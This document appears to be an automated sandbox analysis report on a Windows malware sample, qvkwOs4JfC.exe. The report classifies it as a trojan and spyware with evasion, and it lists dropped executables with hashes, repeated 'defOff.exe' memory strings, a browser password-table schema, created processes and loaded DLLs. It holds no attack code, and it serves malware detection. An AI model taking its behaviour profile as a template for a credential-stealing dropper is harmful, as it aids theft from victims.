Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Code function: 3_2_00915C8B	3_2_00915C8B

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe 5B4D3426CD705909F38F2A136E2A5A1E593FD66A68C01B0E715F533D20A4218A
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe B2ECBACAF99DB2C41066C1914B8B3116B5E25683E6552802A24B08D00D563431

Source: qvkwOs4JfC.exe, 00000000.00000003.2386612266.0000000005863000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2385304271.000000000599E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2379513891.0000000005866000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2384114071.000000000586B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2381804073.0000000005977000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2387242960.00000000059C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368712972.00000000055C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2382969330.000000000598E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2385116862.0000000005865000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2385475972.0000000005ADD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2401633144.0000000005472000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2376880643.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2373108411.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368458430.00000000055B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2369128857.00000000055D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2371075331.0000000005864000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2374170171.0000000005A1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368601782.0000000005625000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2369466800.000000000586E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2372993165.0000000005922000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2384928809.0000000005993000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2371687473.0000000005912000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2372523002.0000000005870000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2373417571.0000000005927000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2370460058.0000000005866000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2382288704.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2372865671.0000000005867000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2382434719.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2381952642.000000000586A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2384468855.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2377616604.0000000005950000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2377992052.000000000586D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2370873289.0000000005869000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2385792084.00000000059A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2380971435.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2371583450.000000000586E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2371381006.0000000005870000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2379900950.0000000005865000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2402183963.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2378603932.0000000005956000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2383143321.0000000005867000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2387087292.000000000586B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2382617548.0000000005984000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2373525083.00000000059FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2372763295.00000000059F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2371909354.000000000591A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368712972.00000000054E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2379110974.0000000005961000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2371491168.0000000005915000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2377080988.0000000005A06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2381255580.000000000586B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2380290503.0000000005864000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2371273284.00000000059C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368601782.00000000055B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368974052.00000000055D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2370358000.00000000056C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2372033298.00000000059CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2378863090.000000000586F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2380551816.0000000005A7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2379384932.000000000595E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2383315301.000000000598C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2373855931.0000000005863000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2380025623.0000000005956000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2379647477.0000000005958000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368974052.00000000054E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2373201412.0000000005923000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2379774795.0000000005A50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2377781402.0000000005A3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2369375067.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2382788133.0000000005867000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2380421380.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368855653.000000000563B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2378157472.0000000005959000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2384688357.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2370772792.000000000599C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2385639394.000000000586C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2386930868.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368855653.00000000055C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2401826591.0000000005409000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2379242707.000000000586F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368974052.000000000555C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2381439825.0000000005973000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2386121436.00000000059A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2371801831.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2378321367.000000000586C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2371173854.000000000590F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2373749688.000000000593F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2383653537.000000000598C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2383817800.0000000005ABA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2373640943.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2380154002.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368458430.00000000054E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2383462292.0000000005864000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2386769344.00000000059AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2372407626.00000000059DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2381117096.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2369294465.000000000586E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2385948772.0000000005866000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2370665706.00000000058FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2387419137.000000000586D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2369552514.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2372282744.0000000005919000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2373960546.0000000005940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2381627199.000000000586E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2370970888.0000000005903000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2386291084.0000000005865000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2380731810.0000000005867000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2382134441.0000000005975000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2369211578.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2372640389.000000000592B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2372148511.0000000005865000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2376715519.0000000005865000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2402875177.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368458430.000000000554C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2368712972.0000000005552000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2386446970.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2377306959.0000000005865000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2373306229.0000000005862000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs qvkwOs4JfC.exe

Source: qvkwOs4JfC.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: qvkwOs4JfC.exe	Static PE information: Section: ZLIB complexity 0.9974983946917808
Source: qvkwOs4JfC.exe	Static PE information: Section: vpnrtiyv ZLIB complexity 0.9949687216081163
Source: GZ5P1E828L48RRT6FSG1LU5.exe.0.dr	Static PE information: Section: szaazyea ZLIB complexity 0.9949221118141861

Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.0.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe

File created: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Jump to behavior

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: qvkwOs4JfC.exe, 00000000.00000003.2168792554.00000000053CC000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2168444946.00000000053E9000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: qvkwOs4JfC.exe

ReversingLabs: Detection: 42%

Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: GZ5P1E828L48RRT6FSG1LU5.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe

File read: C:\Users\user\Desktop\qvkwOs4JfC.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\qvkwOs4JfC.exe "C:\Users\user\Desktop\qvkwOs4JfC.exe"
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Process created: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe "C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe"
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Process created: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe "C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe"
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Process created: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe "C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe"	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Process created: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe "C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe"	Jump to behavior

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Section loaded: cryptsp.dll	Jump to behavior
